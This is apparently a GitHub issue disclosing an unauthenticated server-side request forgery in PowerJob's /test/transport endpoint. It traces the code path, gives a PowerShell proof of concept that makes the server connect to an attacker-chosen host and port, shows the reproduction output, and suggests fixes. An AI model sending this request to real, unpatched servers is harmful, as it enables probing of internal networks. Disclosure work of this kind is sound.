#1181·PowerJob

Unauthenticated SSRF vulnerability

Author: czTangtCreated Jul 1, 2026Updated Jul 1, 2026
Labelsbug

SSRF in /test/transport

Summary

An SSRF vulnerability exists in the /test/transport endpoint.

The endpoint accepts a user-controllable remote url object from the HTTP request body and passes it to TransportService.ask() / TransportService.tell(). When the MU protocol is selected, the attacker-controlled url.address.host and url.address.port finally reach MuConnectionManager.getOrCreateConnection(), where PowerJob creates an outbound TCP connection with bootstrap.connect(host, port).

The /test/transport handler does not have @ApiPermission. If /test/** is exposed in a deployed PowerJob server, an unauthenticated attacker can make the server connect to arbitrary internal or external TCP services.


Details

Taint SOURCE:

java
// powerjob-server/powerjob-server-starter/src/main/java/tech/powerjob/server/web/controller/TestController.java

@PostMapping("/transport")
public Object testTransportService(@RequestBody Map<String, Object> params) throws ClassNotFoundException {
    String method = MapUtils.getString(params, "method");

    String protocol = MapUtils.getString(params, "protocol");
    Object url = MapUtils.getObject(params, "url");
    Object request = MapUtils.getObject(params, "request");
    String requestClassName = MapUtils.getString(params, "requestClassName");
    Class<? extends PowerSerializable> requestClz = (Class<? extends PowerSerializable>) Class.forName(requestClassName);

    if ("ask".equalsIgnoreCase(method)) {
        return transportService.ask(protocol, JsonUtils.toJavaObject(url, URL.class), JsonUtils.toJavaObject(request, requestClz) , AskResponse.class);
    }

    transportService.tell(protocol, JsonUtils.toJavaObject(url, URL.class), (PowerSerializable) request);
    return "TELL_SUCCESS";
}

The attacker controls the request body field url, including the target host and port:

json
{
  "url": {
    "address": {
      "host": "127.0.0.1",
      "port": 19080
    }
  }
}

Taint SINK:

java
// powerjob-remote/powerjob-remote-impl-mu/src/main/java/tech/powerjob/remote/mu/MuConnectionManager.java

public CompletableFuture<Channel> getOrCreateConnection(Address targetAddress) {
    ...
    ChannelFuture future = bootstrap.connect(targetAddress.getHost(), targetAddress.getPort());
    ...
}

The taint flow is:

POST /test/transport
  -> TestController.testTransportService(@RequestBody Map params)
  -> params["url"]
  -> JsonUtils.toJavaObject(url, URL.class)
  -> TransportService.ask(protocol, URL, request, AskResponse.class)
  -> MuTransporter.ask(...)
  -> MuConnectionManager.getOrCreateConnection(url.getAddress())
  -> bootstrap.connect(targetAddress.getHost(), targetAddress.getPort())

There is no authentication, host allowlist, private-address filtering, or port restriction on this path.

The PowerJob auth interceptor allows controller methods without @ApiPermission:

java
// powerjob-server/powerjob-server-auth/src/main/java/tech/powerjob/server/auth/interceptor/PowerJobAuthInterceptor.java

final ApiPermission apiPermissionAnno = method.getAnnotation(ApiPermission.class);

if (apiPermissionAnno == null) {
    return true;
}

Tested Version

PowerJob latest master
Commit: 332179de26b44f0a949f7594ce9f57ee26fb6b27
Version: v5.1.2

The issue was reproduced against a real PowerJob server process with MySQL configured.


POC

Start a TCP listener:

powershell
$listener = [System.Net.Sockets.TcpListener]::new([System.Net.IPAddress]::Parse("127.0.0.1"), 19080)
$listener.Start()
"LISTENING on 127.0.0.1:19080"
$client = $listener.AcceptTcpClient()
"ACCEPTED from " + $client.Client.RemoteEndPoint
$client.Close()
$listener.Stop()

Send the following request to the PowerJob server:

powershell
$body = @{
  method = "ask"
  protocol = "MU"
  url = @{
    serverType = "SERVER"
    address = @{
      host = "127.0.0.1"
      port = 19080
    }
    location = @{
      rootPath = "poc"
      methodPath = "sink"
    }
  }
  requestClassName = "tech.powerjob.common.request.ServerDeployContainerRequest"
  request = @{
    containerId = 1
    containerName = "poc"
    version = "v1"
    downloadURL = "http://127.0.0.1/"
  }
} | ConvertTo-Json -Depth 10

Invoke-WebRequest `
  -Uri "http://127.0.0.1:17701/test/transport" `
  -Method POST `
  -ContentType "application/json" `
  -Body $body `
  -UseBasicParsing

The vulnerability is confirmed when the TCP listener receives an inbound connection from the PowerJob server process.


PoC Result

The vulnerability was reproduced against a real PowerJob server process.

PowerJob server:

Undertow started on port(s) 17701 (http)
MuCSInitializer Server started on 10.12.188.201:17777
Started PowerJobServerApplication

PoC result from the listener:

ACCEPTED from 127.0.0.1:49270

This confirms that attacker-controlled url.address.host and url.address.port can cause the PowerJob server to initiate an outbound TCP connection.


Impact

An attacker who can access the PowerJob HTTP server can use /test/transport to make the server connect to arbitrary host/port pairs. This can be used to probe internal network services reachable from the PowerJob server.

The endpoint is implemented in src/main/java and is included in the production server module. Unless deployments explicitly block /test/**, it is exposed together with the normal PowerJob web server.


Suggested Fix

Recommended mitigations:

  1. Remove TestController from production builds, or guard it behind a non-production Spring profile.
  2. Add authentication and authorization to /test/** endpoints if they must remain available.
  3. Restrict testTransportService so it cannot connect to arbitrary user-supplied hosts and ports.
  4. Add destination validation before MuConnectionManager.getOrCreateConnection(), such as an allowlist of known PowerJob cluster addresses.
  5. Add regression tests to ensure unauthenticated requests to /test/transport cannot trigger outbound connections.

CWE

  • CWE-918: Server-Side Request Forgery (SSRF)